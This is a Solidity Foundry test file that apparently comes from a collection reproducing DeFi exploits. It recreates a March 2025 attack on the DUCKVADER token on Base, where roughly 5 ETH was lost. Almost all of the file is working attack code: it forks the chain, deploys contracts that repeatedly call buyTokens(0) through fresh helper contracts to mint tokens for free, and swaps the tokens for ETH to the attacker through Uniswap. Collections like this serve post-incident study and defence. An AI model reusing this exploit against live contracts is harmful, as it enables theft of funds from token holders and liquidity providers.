src/test/2025-03/DUCKVADER_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~ 5 ETH
8// Attacker : https://basescan.org/address/0x2383a550e40a61b41a89da6b91d8a4a2452270d0
9// Attack Contract : https://basescan.org/address/0x652f9ac437a870ce273a0be9d7e7ee03043a91ff
10// Vulnerable Contract : https://basescan.org/address/0xaa8f35183478b8eced5619521ac3eb3886e98c56
11// Attack Tx : https://basescan.org/tx/0x9bb1401233bb9172ede2c3bfb924d5d406961e6c63dee1b11d5f3f79f558cae4
12 
13// @Info
14// Vulnerable Contract Code : https://basescan.org/address/0xaa8f35183478b8eced5619521ac3eb3886e98c56#code
15 
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/TenArmorAlert/status/1899378096056201414
19// Hacking God : N/A
20 
21address constant DUCKVADER = 0xaa8f35183478B8EcEd5619521Ac3Eb3886E98c56;
22address constant wETH = 0x4200000000000000000000000000000000000006;
23address constant UNISWAP_ROUTER = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24;
24 
25contract DUCKVADER_exp is BaseTestWithBalanceLog {
26    uint256 blocknumToForkFrom = 27_445_835 - 1;
27 
28    function setUp() public {
29        vm.createSelectFork("base", blocknumToForkFrom);
30        vm.label(DUCKVADER, "DUCKVADER");
31        vm.label(UNISWAP_ROUTER, "Uniswap: V2 Router02");
32    }
33 
34    function testExploit() public balanceLog {
35        AttackContract attackContract = new AttackContract();
36        attackContract.attack();
37    }
38 
39    receive() external payable {
40        // This contract is used to receive ETH from the attack contract
41    }
42}
43 
44contract AttackContract {
45    address attacker;
46 
47    constructor() {
48        attacker = msg.sender;
49    }
50 
51    function attack() external {
52        // Call multiple times to get more tokens
53        uint256 times = 10; //200;
54        for (uint256 i = 0; i < times; i++) {
55            AttackContract2 attackContract2 = new AttackContract2();
56            attackContract2.buy();
57        }
58        IDUCKVADER(DUCKVADER).buyTokens(0);
59        IDUCKVADER(DUCKVADER).approve(UNISWAP_ROUTER, type(uint256).max);
60        uint256 balance = IDUCKVADER(DUCKVADER).balanceOf(address(this));
61        // console.log(balance);
62        address[] memory path = new address[](2);
63        path[0] = address(DUCKVADER);
64        path[1] = address(wETH);
65        IRouter(payable(UNISWAP_ROUTER)).swapExactTokensForETHSupportingFeeOnTransferTokens(
66            balance, 0, path, attacker, block.timestamp + 10
67        );
68    }
69}
70 
71contract AttackContract2 {
72    function buy() external {
73        IDUCKVADER(DUCKVADER).buyTokens(0);
74        uint256 balance = IDUCKVADER(DUCKVADER).balanceOf(address(this));
75        IDUCKVADER(DUCKVADER).transfer(msg.sender, balance);
76    }
77}
78 
79interface IDUCKVADER is IERC20 {
80    function buyTokens(uint256 usdtAmount) external payable;
81}